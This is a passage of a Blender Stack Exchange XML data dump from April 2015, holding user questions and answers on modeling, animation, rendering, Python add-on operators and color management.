  <row Id="28993" PostTypeId="2" ParentId="28976" CreationDate="2015-04-26T16:31:09.507" Score="14" Body="&lt;p&gt;You can use two curves.&#xA;One that traces the outline of the capital. And a bezier circle to control the diameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uJaOn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Bezier Circle select the bezier curve as bevel object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vLSws.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yCsu7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then convert the curve to a mesh for further editing (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mcyD0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UDyK9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-04-26T16:41:42.393" LastActivityDate="2015-04-26T16:41:42.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28995" PostTypeId="1" CreationDate="2015-04-26T18:38:00.223" Score="6" ViewCount="1813" Body="&lt;p&gt;I'm working on making 3d Pacman in unity, and I'm trying to create Pacman himself in blender. I've never used blender before, so this is proving to be seriously challenging. Can anyone help a girl out? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I should also mention, I'm not just trying to model him, but make his mouth animation&lt;/p&gt;&#xA;" OwnerUserId="14007" LastEditorDisplayName="user1853" LastEditDate="2015-04-26T22:20:24.163" LastActivityDate="2015-04-27T13:43:42.167" Title="Trying to create Pacman" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ClosedDate="2015-04-26T22:27:35.743" ContentLicense="CC BY-SA 3.0" />
  <row Id="28996" PostTypeId="2" ParentId="28995" CreationDate="2015-04-26T18:43:42.273" Score="3" Body="&lt;p&gt;Pacman is pretty simple to model&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start by adding a sphere: &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;&gt;&lt;em&gt;Mesh&lt;/em&gt;&gt;&lt;em&gt;Shphere&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;F6&lt;/kbd&gt;, in the properties window that is provided, change the segments to 24.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hit &lt;kbd&gt;Tab&lt;/kbd&gt; to enter edit mode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rotate him by 90&lt;sup&gt;o&lt;/sup&gt; on the X axis, &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;X90&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Right Mouse click while holding &lt;kbd&gt;Alt&lt;/kbd&gt; on The face loops you'd like to delete for his mouth. You may need to select additional faces using the Right Mouse Button.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fyALI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Use &lt;kbd&gt;X&lt;/kbd&gt;&gt;&lt;em&gt;Faces&lt;/em&gt; to delete&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are a few more steps to add eyes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select a face on the one side you'd like his eye(s) to go over&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i6qbN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Snap the 3D cursor to it, using &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt;&gt;&lt;em&gt;3D cursor to selected&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Exit edit mode, &lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add another sphere.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt;&gt;&lt;em&gt;Selected to cursor&lt;/em&gt; to position your eye.&lt;/li&gt;&#xA;&lt;li&gt;Scale it to the correct size using &lt;kbd&gt;S&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; to re-center the cursor&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&gt;&lt;em&gt;Origin to 3D curosr to move the origin of your eye to the center&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add a mirror modifier using the modifier panel.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To animate the Pacman, instead of deleting the faces covering his mouth, split them down the middle &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;, and then rotate them to alin with the upper lip. You can use this as a shape key. You will then need one with is mouth closed and you're good to go, simply animate between the shapekeys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the shape keys don't provide satisfactory results, You can try using somthing like the hook modifer, with an empty for each row of verts.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-04-27T13:43:42.167" LastActivityDate="2015-04-27T13:43:42.167" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="28997" PostTypeId="1" AcceptedAnswerId="28998" CreationDate="2015-04-26T19:32:33.847" Score="3" ViewCount="204" Body="&lt;p&gt;Why is the name of a particle system slot different from the name of the particle system settings it contains?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q0hbm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not the same as material slots, where the slot and the material share a name.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-04-26T19:44:10.687" Title="Particle System Slot vs Settings" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="28998" PostTypeId="2" ParentId="28997" CreationDate="2015-04-26T19:44:10.687" Score="3" Body="&lt;p&gt;Particle System name is different from Particle Settings name because you can have Multiple setting for each Particle System. By creating multiple settings you can quickly switch between them to see the difference instead of replacing the Particle System.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-04-26T19:44:10.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28999" PostTypeId="1" AcceptedAnswerId="29084" CreationDate="2015-04-26T19:54:51.680" Score="6" ViewCount="1831" Body="&lt;p&gt;TL;DR: Skip middle paragraph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to make an addon that draws certain info in the view, and have it do that basically all the time that the addon is on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I've been told bgl drawing works is that you put the drawing code in a modal operator. However, all examples I've seen involve starting it from the &lt;code&gt;invoke()&lt;/code&gt; method, which is run &#xA;&lt;strong&gt;when the user executes the operator&lt;/strong&gt; - not what I want. I've also tried putting the &lt;code&gt;bpy.context.window_manager.modal_handler_add(self)&lt;/code&gt; code in the &lt;code&gt;register()&lt;/code&gt; class method, but because that method does not have access to &lt;code&gt;self&lt;/code&gt;, I only got errors with the various arguments I tried (which were: none, the class (its general name), the &lt;code&gt;cls&lt;/code&gt; argument that &lt;code&gt;register(cls)&lt;/code&gt; gets, and some others. If needed I'll expand on this). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make the operator run &quot;on startup&quot;, or how else can I achieve my goal?&lt;/p&gt;&#xA;" OwnerUserId="11312" LastActivityDate="2015-04-28T14:01:19.317" Title="Constantly running modal operator" Tags="&lt;python&gt;&lt;add-on&gt;&lt;operator&gt;" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="29000" PostTypeId="1" CreationDate="2015-04-26T20:46:31.560" Score="5" ViewCount="2481" Body="&lt;p&gt;I have an armature of animated bones and I want to rotate the main bone by 90 degrees in edit mode so that that particular bone has the right orientation when exporting the animation for the source engine (I accidentally animated it with the wrong rotation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My animations are already finished, so when I rotate the bone in edit mode now it messes up the animation. (The bone is moved away from its original position and moves in the wrong direction during the animation.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what the problem looks like:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IM9iR.png&quot; alt=&quot;Bone is rotated is edit mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's one of the .blend files (not rotated): &lt;a href=&quot;https://www.dropbox.com/s/cqe77cd39t7id2t/idle.blend?dl=0&quot; rel=&quot;noreferrer&quot;&gt;idle.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14009" LastEditorUserId="14009" LastEditDate="2015-04-26T22:41:03.050" LastActivityDate="2018-02-04T12:30:24.533" Title="Rotate a particular bone in edit mode without offsetting animation?" Tags="&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="29001" PostTypeId="1" CreationDate="2015-04-26T22:05:54.183" Score="10" ViewCount="22203" Body="&lt;p&gt;I need some help finding a function within blender 2.74 which is &quot;Surface&quot;, since in a tutorial I'm using the advanced cartoon eye rig, unitedfilmdom clicks on the world option within the right hand menu and then changes some aspects to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the tutorial in question: &lt;a href=&quot;https://cgcookie.com/blender/lessons/4-materials2&quot; rel=&quot;noreferrer&quot;&gt;https://cgcookie.com/blender/lessons/4-materials2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this simply not an option for me because I'm using amd and not nvidia or is it something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its supposed to be in here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/UEnmd2x.png1&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14011" LastEditorDisplayName="user1853" LastEditDate="2015-04-26T22:27:10.027" LastActivityDate="2015-04-27T00:23:22.850" Title="I can't find the &quot;Surface&quot; option" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ClosedDate="2015-08-07T00:05:06.890" ContentLicense="CC BY-SA 3.0" />
  <row Id="29002" PostTypeId="1" AcceptedAnswerId="29018" CreationDate="2015-04-26T23:56:20.227" Score="6" ViewCount="3396" Body="&lt;p&gt;I'm trying to print a topographic relief, I'm close to the end but I can't find a way to have the back of my object perfectly flat without changing the top.&lt;br&gt;&#xA;(I tried to &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt; &lt;code&gt;0&lt;/code&gt;. didn't worked)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qcpJA.png&quot; alt=&quot;top&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hkka9.png&quot; alt=&quot;bottom&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14014" LastEditorUserId="2217" LastEditDate="2015-04-27T01:11:04.967" LastActivityDate="2019-05-03T21:05:01.303" Title="How to make a perfectly flat bottom for 3D-printing topographic relief?" Tags="&lt;modeling&gt;&lt;vertices&gt;&lt;edges&gt;" AnswerCount="3" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29003" PostTypeId="2" ParentId="29001" CreationDate="2015-04-27T00:23:22.850" Score="15" Body="&lt;p&gt;&lt;strong&gt;You are using default Blender Render engine instead of Cycles Render engine.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the Surface option in the World tab you need to switch from Blender Render to Cycles Render on the top of the Blender screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OqGPh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-04-27T00:23:22.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29005" PostTypeId="2" ParentId="28917" CreationDate="2015-04-27T03:44:31.503" Score="1" Body="&lt;p&gt;You will have to render without DOF, and add it in during compositing in order to get clean IndexOB masks. Otherwise you'll probably have to separate via layers if you want in-camera DOF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could try &lt;a href=&quot;https://blender.stackexchange.com/questions/19237/is-it-possible-to-create-a-render-layer-with-no-depth-of-field&quot;&gt;this solution&lt;/a&gt;, which creates a second Scene, linked to your main scene with the camera DOF turned off. That way your second scene would have IndexOB masks with clean edges, and you can work with both scenes in the compositor. Would that solve your issue? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be interested to know your final pipeline, I'm dubious that the clean masks would help you modify your DOF renders, but I would be interested to see more about it if it can.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-04-27T03:59:20.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29006" PostTypeId="2" ParentId="28284" CreationDate="2015-04-27T03:45:08.123" Score="11" Body="&lt;p&gt;Blender saves to different formats using different techniques and curving according to some file based assumptions. TIFFs do not save &quot;raw&quot; by default, nor does the term &quot;raw&quot; have any real meaning here. Some examples file formats may have on output include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Saving to a JPEG or TIFF at 8 bits per channel will apply a nonlinear sRGB curve to the data, and may change the internal float format to the respective format's storage type.&lt;/li&gt;&#xA;&lt;li&gt;Saving to an EXR will transfer the internal reference space buffers unchanged which, by nature of EXR, is a linearized float scene referred format.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From what I can deduce from your screenshot(?) it appears that a subtle shifting is happening in the intensity along the trunk. This suggests that the right image is being color managed for your display from within Photoshop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender &lt;em&gt;does not&lt;/em&gt; use ICCs for color management, nor is the display corrected by default[1]. Further, it will &lt;em&gt;not&lt;/em&gt; tag images with ICC profile information when saving. This means that the software will make a guess as to what reference space the image is in when it is loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I had to speculate, I would guess that the image viewer on the right is color correcting the assumed sRGB image format you have loaded. This effectively takes the theoretical sRGB values output from Blender and attempts to emulate the correct sRGB values based on a profile of your display. It may also have to do with an incorrect reference space being set from within your image viewer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So without further information, it would be impossible to diagnose what is happening with absolute certainty. That said, if you open the color management settings in Photoshop, you will likely find a display correction profile in place there, or an incorrect working reference space ICC profile. In the case of the former, you can disable the display profile and see the raw dump to the screen as Blender rendered it. In the case of the latter, there are sadly many sRGB ICC profiles out there that are not identical to each other, and some are even outright incorrect[2].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps you make a little progress into figuring out the issue.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Blender &lt;em&gt;can&lt;/em&gt; be augmented to display color critical and accurate results, hardware depending. This involves profiling one's display, converting the resulting profile into a 3D LUT, and inserting it into the OpenColorIO configuration set.&lt;/li&gt;&#xA;&lt;li&gt;The sRGB.icm ICC file included with the Argyll color management system is accurate and should deliver proper output.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="213" LastActivityDate="2015-04-27T03:45:08.123" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29007" PostTypeId="1" AcceptedAnswerId="29184" CreationDate="2015-04-27T04:06:54.150" Score="11" ViewCount="1635" Body="&lt;p&gt;I am doing a space scene with a space ship, and i'm trying to be physically realistic when it comes to how ships move in space.  As such, I only want my thruster effects to fire when the Rate of Change of rotation or translation is changing.  I could animate it all by hand, but I don't want to if I don't have to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an input node I can get this information with?  Everything i've seen is just plain location data.  Oris there an addon or script I haven't been able to find?  Can this information even be retrieved with a script and i'm up a creek?&lt;/p&gt;&#xA;" OwnerUserId="13957" LastEditorUserId="19658" LastEditDate="2015-11-25T13:39:30.120" LastActivityDate="2020-01-23T11:53:21.640" Title="A way to get Rate of Change in translation or rotation into a shader node" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;animation-nodes&gt;" AnswerCount="4" CommentCount="6" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29008" PostTypeId="1" CreationDate="2015-04-27T05:28:43.857" Score="5" ViewCount="677" Body="&lt;p&gt;I'm trying to model the pacman maze in 3d. I'd like to use a solidify modifier so that I can easily change the thickness of all walls at the same time, however I'm having trouble with parts of the maze where the wall forms a T shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XqQOk.png&quot; alt=&quot;&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/avQN1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add subsurf modifier then the artifacts are even more obvious:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DLuJu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14019" LastEditorUserId="14019" LastEditDate="2015-04-29T19:50:46.420" LastActivityDate="2015-04-30T11:12:48.047" Title="Solidifying a T-Junction" Tags="&lt;modifiers&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="29009" PostTypeId="1" CreationDate="2015-04-27T07:32:05.493" Score="4" ViewCount="965" Body="&lt;p&gt;I am looking for a way to change the texture in the game engine.&#xA;I have managed to apply 4 textures and enable/disable them usong a python script. The textures change is working, but only becomes visible when the BGE stops.&lt;br&gt;&#xA;It seems that textures are not reloaded in realtime.&#xA;How can I force update the texture in realtime ? &lt;/p&gt;&#xA;" OwnerUserId="14021" LastEditorUserId="5113" LastEditDate="2015-04-27T09:32:41.533" LastActivityDate="2017-05-08T20:01:16.650" Title="Changing textures realtime in game engine" Tags="&lt;scripting&gt;&lt;texturing&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29010" PostTypeId="1" AcceptedAnswerId="29012" CreationDate="2015-04-27T08:23:45.320" Score="12" ViewCount="16151" Body="&lt;p&gt;I just started using Blender and I'm trying to cut a plane in equal squares and have each square be its own separate object. My main goal is create the plane and add a displace and decimate modifier to create a low poly terrain. By cutting the plane in equal squares I'll be able to tile them in a 3D maze game I'm working on. If anyone know a better way to approach this it would also be greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="14022" LastEditorUserId="5113" LastEditDate="2015-04-27T09:24:39.467" LastActivityDate="2015-04-27T12:22:17.107" Title="Split a plane into smaller plane objects" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29011" PostTypeId="2" ParentId="29010" CreationDate="2015-04-27T08:34:02.137" Score="3" Body="&lt;p&gt;To subdivide the plane :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the plane and switch to edit mode . &lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;W&lt;/kbd&gt;  then click &lt;strong&gt;&lt;em&gt;Subdivide&lt;/em&gt;&lt;/strong&gt; . &lt;/li&gt;&#xA;&lt;li&gt;You can number of cuts in the tools panel .&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="5113" LastEditDate="2015-04-27T09:28:15.797" LastActivityDate="2015-04-27T09:28:15.797" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29012" PostTypeId="2" ParentId="29010" CreationDate="2015-04-27T08:45:34.227" Score="12" Body="&lt;p&gt;&lt;em&gt;Manual and slow approach&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the object and go into edit mode, using &lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Subdivide the plane into any number of smaller faces using &lt;kbd&gt;W&lt;/kbd&gt; -&gt; &lt;kbd&gt;S&lt;/kbd&gt; repeatedly&lt;/li&gt;&#xA;&lt;li&gt;Click face select &lt;img src=&quot;https://i.stack.imgur.com/5mqIG.png&quot; alt=&quot;face select&quot;&gt; or do &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Tab&lt;/kbd&gt; -&gt; &lt;kbd&gt;F&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Proceed to select each face in the plane, the press &lt;kbd&gt;P&lt;/kbd&gt; + &lt;kbd&gt;Enter&lt;/kbd&gt; to split the plane into separate objects&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;UPDATE: Automatic and fast approach&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of having to go through each face manually, you can do everything in one sweep like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Instead of starting with a plane, create a &lt;strong&gt;Grid&lt;/strong&gt; object with &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; -&gt; &lt;kbd&gt;M&lt;/kbd&gt; -&gt; &lt;kbd&gt;G&lt;/kbd&gt;. Then go into edit mode, using &lt;kbd&gt;Tab&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select all faces with &lt;kbd&gt;A&lt;/kbd&gt; and do &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt; -&gt; &lt;kbd&gt;D&lt;/kbd&gt; (edge split). Now all of your faces are disconnected.&lt;/li&gt;&#xA;&lt;li&gt;Select all faces with &lt;kbd&gt;A&lt;/kbd&gt; and do &lt;kbd&gt;P&lt;/kbd&gt; -&gt; &lt;kbd&gt;L&lt;/kbd&gt;. This separated all the faces by loose parts, into separate objects.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13958" LastEditorUserId="3710" LastEditDate="2015-04-27T12:22:17.107" LastActivityDate="2015-04-27T12:22:17.107" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="29013" PostTypeId="2" ParentId="28999" CreationDate="2015-04-27T09:04:03.120" Score="3" Body="&lt;p&gt;I am afraid this is a limitation and you cannot interactively draw with bgl outside of modal operator. There is no way to initialize the drawing handler because it needs the modal operator for access to events and the modal loop where tag redraw would happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tag redraw could be done but the events are the bummer. Linking similar: &lt;a href=&quot;https://blender.stackexchange.com/questions/23532/get-events-without-running-modal&quot;&gt;Get events without running modal&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From blender api user events outside of modal can't be caught. There is probably a possibility to catch them with python in monitor space and from blender areas and window positions get them local (like mouse coords).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From user perspective how blender is made it seems the philosophy is that user should have control over modal operators and start/end them manually ideally with button in ui. So something doesn't run in the background without your knowledge. There is somewhere an answer from Brecht on something similar but couln't find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is possibility to call an operator from &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_60_6/bpy.app.handlers.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;handlers&lt;/a&gt;, but mostly you will get another limitation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &quot;RuntimeError: maximum recursion depth exceeded&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Calling the operator from &lt;code&gt;load_pre&lt;/code&gt; handler should be fine though. See similar: &lt;a href=&quot;https://blender.stackexchange.com/questions/21034/my-custom-timer-is-cancelled-when-loading-a-blend-file/21036#21036&quot;&gt;My custom timer is cancelled when loading a *.blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-04-28T14:01:19.317" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29014" PostTypeId="1" CreationDate="2015-04-27T09:17:39.890" Score="1" ViewCount="6603" Body="&lt;p&gt;I'm using Blender 2.74 and have added a picture as a background in the view , it is visible in the view but it doesn't appear in the render ,why is that ?&lt;br&gt;&#xA;here is the picture&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4fylL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Meri&lt;/p&gt;&#xA;" OwnerUserId="14023" LastEditorUserId="5113" LastEditDate="2015-04-27T10:48:59.447" LastActivityDate="2015-04-27T11:00:14.793" Title="Background picture does not appear in the render?" Tags="&lt;rendering&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="29015" PostTypeId="2" ParentId="29014" CreationDate="2015-04-27T10:35:00.870" Score="4" Body="&lt;p&gt;the easy way is to enable the Addon that does exactly that :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;go to &lt;strong&gt;File&lt;/strong&gt;➝ &lt;strong&gt;User_Preferences&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;click on the &lt;strong&gt;Addon&lt;/strong&gt; tab search for &lt;strong&gt;&lt;em&gt;Import Image&lt;/em&gt;&lt;/strong&gt;,  check it and click &lt;strong&gt;Save&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cKozC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;go to &lt;strong&gt;File&lt;/strong&gt; ➝&lt;strong&gt;Import&lt;/strong&gt; ➝ &lt;strong&gt;Import_Image_as_Plane&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;select your image  and click &lt;strong&gt;Import&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;position your camera and render ( you may need to tweak light )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;to setup easily the render after adding the image as plane :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;switch to &lt;strong&gt;Cycles Render Engine&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YS8pf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in 3d_view hit &lt;kbd&gt;Num 7&lt;/kbd&gt; (this the top view)&lt;/li&gt;&#xA;&lt;li&gt;hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;0&lt;/kbd&gt; to set the camera in this view (you can move the camera up and down to fit the image )&lt;/li&gt;&#xA;&lt;li&gt;enable &lt;strong&gt;&lt;em&gt;Ambient Occlusion&lt;/em&gt;&lt;/strong&gt;  in the &lt;strong&gt;world&lt;/strong&gt; tab&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bzhrq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;F12&lt;/kbd&gt; to render&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-04-27T11:00:14.793" LastActivityDate="2015-04-27T11:00:14.793" CommentCount="1" ContentLicense="CC BY-SA 